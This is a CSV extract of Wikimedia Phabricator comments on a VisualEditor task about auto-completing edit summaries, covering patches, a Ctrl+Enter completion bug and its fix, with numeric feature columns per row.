+{T54085}",Medium,50.0,1368048660,1561611645.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-7x5ai23ne5qampjf3g7r,False,PHID-TASK-rc4yhxp2tlzilezhonck,task_description,resolved,True,c1,1,True,False,False,-8,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+1301848,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",Do we consider this fixed now then ?,,,1561123591,,PHID-USER-wrimmmr5w2zt7nk2t753,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,True,,,311,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,1,1,1,0,0,0
+1286934,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",It works nicely!,,,1558647083,,PHID-USER-dcexrhjioxqqsq4pdrfe,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,307,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+1286933,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",It looks nice!,,,1558647068,,PHID-USER-dcexrhjioxqqsq4pdrfe,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,307,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+1286928,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",">>! In T50274#5135349, @Esanders wrote:
+> The above patch stops the first item being highlighted automatically. You can test the effect on live by pasting `ve.init.target.saveDialog.editSummaryInput.lookupHighlightFirstItem = false;` into the console after the save dialog has opened.
+
+This worked nicely. Thanks much!
+
+>>! In T50274#5209037, @matmarex wrote:
+> @izno Now done in <https://gerrit.wikimedia.org/r/#/c/mediawiki/extensions/VisualEditor/+/512227>. I think we were still waiting for MediaWiki to be updated to use the new version of OOUI of something.
+
+Coolio.",,,1558646270,,PHID-USER-yawytiq5q7eduxmvnkid,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,307,,1,1,0,1,0,1,0,0,0,0,1,0,1,0,0,1,0,1,1,1,1,0,0,0,1,0,0,1,1,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,0,1
+1286862,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",@izno Now done in <https://gerrit.wikimedia.org/r/#/c/mediawiki/extensions/VisualEditor/+/512227>. I think we were still waiting for MediaWiki to be updated to use the new version of OOUI of something.,,,1558639964,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,True,,,307,,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,0,1
+1270315,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",">>! In T50274#5136148, @Esanders wrote:
+>>>! In T50274#5135937, @Izno wrote:
+>> BTW since you're in the area there's a TODO there that was waiting on what is now a task that you closed a week or two ago.
+> 
+> Sorry, I'm not sure what you're referring to, can you provide a link?
+
+```lang=javascript
+	// HACK: Disable pending animation. Should be made an upstream option (T220204)
+	// Parent method
+```
+
+{T220204}
+",,,1556156399,,PHID-USER-yawytiq5q7eduxmvnkid,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,303,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,0,1,1,0,1,0,0,1,1,0,1,1,0,0,1,1,0,0,1,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+1270314,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",">>! In T50274#5136148, @Esanders wrote:
+>>>! In T50274#5135937, @Izno wrote:
+>> BTW since you're in the area there's a TODO there that was waiting on what is now a task that you closed a week or two ago.
+> 
+> Sorry, I'm not sure what you're referring to, can you provide a link?
+
+```lang=php
+	// HACK: Disable pending animation. Should be made an upstream option (T220204)
+	// Parent method
+```
+
+{T220204}
+",,,1556156352,,PHID-USER-yawytiq5q7eduxmvnkid,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,303,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,0,1,1,0,1,0,0,1,1,0,1,1,0,0,1,1,0,0,1,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+1270227,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",">>! In T50274#5135937, @Izno wrote:
+> BTW since you're in the area there's a TODO there that was waiting on what is now a task that you closed a week or two ago.
+
+Sorry, I'm not sure what you're referring to, can you provide a link?",,,1556142593,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,True,,,303,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+1270152,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",">>! In T50274#5135349, @Esanders wrote:
+> The above patch stops the first item being highlighted automatically. You can test the effect on live by pasting `ve.init.target.saveDialog.editSummaryInput.lookupHighlightFirstItem = false;` into the console after the save dialog has opened.
+
+BTW since you're in the area there's a TODO there that was waiting on what is now a task that you closed a week or two ago.",,,1556136821,,PHID-USER-yawytiq5q7eduxmvnkid,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,303,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,1,0,1,0,0,1,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1
+1270041,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","Change 506191 **merged** by jenkins-bot:
+[mediawiki/extensions/VisualEditor@master] EditSummaryWidget: Don't highlight first automatically
+
+[[https://gerrit.wikimedia.org/r/506191]]",,,1556126337,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,303,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1270030,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",The above patch stops the first item being highlighted automatically. You can test the effect on live by pasting `ve.init.target.saveDialog.editSummaryInput.lookupHighlightFirstItem = false;` into the console after the save dialog has opened.,,,1556125232,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,True,,,303,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+1270028,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","Change 506191 had a related patch set uploaded (by Esanders; owner: Esanders):
+[mediawiki/extensions/VisualEditor@master] EditSummaryWidget: Don't highlight first automatically
+
+[[https://gerrit.wikimedia.org/r/506191]]",,,1556125155,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,303,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1270022,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",">>! In T50274#5135228, @LucasWerkmeister wrote:
+> Is it possible to opt out of this feature until that’s fixed?
+
+No, but it shouldn't be too hard to fix. In the meantime you can press escape before ctrl+enter.
+
+",,,1556124739,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,True,,,303,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,1
+1270019,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",">>! In T50274#5106435, @Trizek wrote:
+> Great feature. <3 
+> Can we have a way to delete misspelled sentences? Thanks!
+
+The edit summaries are pulled from the API and old edit summaries are immutable so I don't see an easy fix for this without using another storage system. Suggestions welcome.",,,1556124638,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,True,,,303,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,1,0,0,1
+1269997,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",">>! In T50274#5107339, @Izno wrote:
+> My only problem: when I have entered a summary, the drop down appears. When I hit the hotkeys for save, the system will complete the summary with the top item whatever the value of my original summary was. (This is not how it works in old WTE.)
+
+This is a //big// problem for me as well. My most common summary on talk pages or project discussion pages is just “reply”, but the first suggestions are all like “reply (something something)”, “reply, something else”, etc. When I press Ctrl+Enter out of habit – for years, VisualEditor has trained me that Ctrl+Enter in the summary field means “save” – then it will “complete” my edit summary with some gibberish that makes no sense in the current context, and if I don’t notice it I’ll save an edit with a nonsense summary.
+
+Is it possible to opt out of this feature until that’s fixed?",,,1556123623,,PHID-USER-7raa3vx5zsq6a56gil3q,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,303,,1,1,0,0,1,1,1,0,0,1,1,0,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,1,0,0,1,1
+1266481,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",">>! In T50274#5107851, @Whatamidoing-WMF wrote:
+>>>! In T50274#5106435, @Trizek wrote:
+>> Great feature. <3 
+>> Can we have a way to delete misspelled sentences? Thanks!
+> 
+> No.  But if you make 200 more edits, it'll automagically go away.  The tool only looks back at your most recent 200 edit summaries.
+
+So I have to be patient. And be careful: I've already accidentally entered some bad summaries while editing. :/",,,1555530842,,PHID-USER-fptvc452oby6t6mwcy2u,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,302,,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,1,0,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,1,1,1,0,1,1,0,0,1,0,1,1,1,1
+1263697,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",">>! In T50274#5107874, @Whatamidoing-WMF wrote:
+> 
+> (In the meantime, the workaround is to hit the Escape key.)
+
+(And then hit Ctrl + Enter again.)",,,1555098678,,PHID-USER-yawytiq5q7eduxmvnkid,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,301,,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1
+1263696,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",">>! In T50274#5107874, @Whatamidoing-WMF wrote:
+> @Esanders, Izno's problem is going to drive me nuts.  When there's an exact match, it needs to use that exact match, and not suggest something longer.  If I've typed `r`, and the options it finds are 35 instances of `r` and one of `Re-ping` in my last 200 edit summaries, then it should definitely be suggesting `r` and not the other longer one. 
+> 
+> (In the meantime, the workaround is to hit the Escape key.)
+
+(And then hit Ctrl + Enter again.)",,,1555098668,,PHID-USER-yawytiq5q7eduxmvnkid,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,301,,0,1,0,0,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,1
+1263666,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","@Esanders, Izno's problem is going to drive me nuts.  When there's an exact match, it needs to use that exact match, and not suggest something longer.  If I've typed `r`, and the options it finds are 35 instances of `r` and one of `Re-ping` in my last 200 edit summaries, then it should definitely be suggesting `r` and not the other longer one. 
+
+(In the meantime, the workaround is to hit the Escape key.)",,,1555094625,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,301,,0,1,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0
+1263665,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","@Esanders, Izno's problem is going to drive me nuts.  When there's an exact match, it needs to use that exact match, and not suggest something longer.  If I've typed `r`, and the options it finds are 35 instances of `r` and one of `Re-ping` in my last 200 edit summaries, then it should definitely be suggesting `r` and not the other longer one. ",,,1555094590,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,301,,0,1,0,0,1,1,0,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0
+1263663,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",">>! In T50274#5106435, @Trizek wrote:
+> Great feature. <3 
+> Can we have a way to delete misspelled sentences? Thanks!
+
+No.  But if you make 200 more edits, it'll automagically go away.  The tool only looks back at your most recent 200 edit summaries.",,,1555094341,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,301,,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,0,1,1,0,0,1,0,0,1,1,1
+1263554,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","I agree, this is well done.
+
+My only problem: when I have entered a summary, the drop down appears. When I hit the hotkeys for save, the system will complete the summary with the top item whatever the value of my original summary was. (This is not how it works in old WTE.)
+
+The particular issue was that I wanted a summary of ""clean table"", but after having entered the entire thing in it removed the exact match and attempted to add the lengthier summary after hitting cntrl + enter, and then chose //not// to save. (The biggest win for me is that the hotkeys should always save regardless of the current value of the dropdown.)
+
+{F28628688}
+
+{F28628692}
+
+{F28629206}
+
+Happy to split this to a different task if it seems like a significant chunk of additional work...
+",,,1555081974,,PHID-USER-yawytiq5q7eduxmvnkid,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,301,,0,0,0,1,1,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0
+1263545,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","I agree, this is well done.
+
+My only problem: when I have entered a summary, the drop down appears. When I hit the hotkey for save, the system will complete the summary with the top item whatever the value of my original summary was. (This is not how it works in old WTE.)
+
+The particular issue was that I wanted a summary of ""clean table"", but after having entered the entire thing in it removed the exact match and attempted to add the lengthier summary after hitting cntrl + shift + s, and then chose //not// to save. (The biggest win for me is that the hotkeys should always save regardless of the current value of the dropdown.)
+
+{F28628688}
+
+{F28628692}
+
+{F28629206}
+
+Happy to split this to a different task if it seems like a significant chunk of additional work...
+",,,1555080996,,PHID-USER-yawytiq5q7eduxmvnkid,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,301,,0,0,0,1,1,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0
+1263542,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","I agree, this is well done.
+
+My only problem: when I have entered a summary, the drop down appears. When I hit the hotkey for save, the system will complete the summary with the top item whatever the value of my original summary was. (I am fairly certain this was not the behavior with non-VE editor.
+
+The particular issue was that I wanted a summary of ""clean table"", but after having entered the entire thing in it removed the exact match and attempted to add the lengthier summary after hitting cntrl + shift + s, and then chose //not// to save. (The biggest win for me is that the hotkeys should always save regardless of the current value of the dropdown.)
+
+{F28628688}
+
+{F28628692}
+
+{F28629206}
+
+Happy to split this to a different task if it seems like a significant chunk of additional work...
+",,,1555080704,,PHID-USER-yawytiq5q7eduxmvnkid,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,301,,0,0,0,1,1,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0
+1263308,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","Great feature. <3 
+Can we have a way to delete misspelled sentences? Thanks!",,,1555059406,,PHID-USER-fptvc452oby6t6mwcy2u,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,301,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,0,0,0,0,1
+1263236,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",Good job!,,,1555047671,,PHID-USER-4nsetzljuvrlickb5xoz,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,301,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+1263105,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",Wonderful and seems to be done,,,1555019166,,PHID-USER-timi4nkerc272muhuatw,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,301,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+1258131,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","Change 495451 **merged** by jenkins-bot:
+[mediawiki/extensions/VisualEditor@master] Edit summary autocomplete
+
+[[https://gerrit.wikimedia.org/r/495451]]",,,1554399877,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,300,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1241290,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",">>! In T50274#5016202, @Esanders wrote:
+> It doesn't appear to work yet in Chrome/FF: https://codepen.io/edg2s/pen/eXGdVM
+
+Nor in Safari.",,,1552404027,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,True,,,297,,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,0,1
+1240922,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",It doesn't appear to work yet in Chrome/FF: https://codepen.io/edg2s/pen/eXGdVM,,,1552338121,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,True,,,297,,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+1240155,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",">>! In T50274#5012835, @gerritbot wrote:
+> Change 495451 had a related patch set uploaded (by Esanders; owner: Esanders):
+> [mediawiki/extensions/VisualEditor@master] Edit summary autocomplete
+> 
+> [[https://gerrit.wikimedia.org/r/495451]]
+
+Why doesn't this make use of T50274#4048873 ? It looks like Firefox, Webkit, and Chromium all support autocomplete (even though [[https://developer.mozilla.org/en-US/docs/Web/HTML/Element/textarea | Mozilla.org]] indicates otherwise, the link to the Chromium indicates the bug is fixed since Jan 2018)...",,,1552151736,,PHID-USER-yawytiq5q7eduxmvnkid,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,296,,1,0,0,1,1,1,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,0,0,0,1
+1240116,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","Change 495451 had a related patch set uploaded (by Esanders; owner: Esanders):
+[mediawiki/extensions/VisualEditor@master] Edit summary autocomplete
+
+[[https://gerrit.wikimedia.org/r/495451]]",,,1552137996,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,296,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
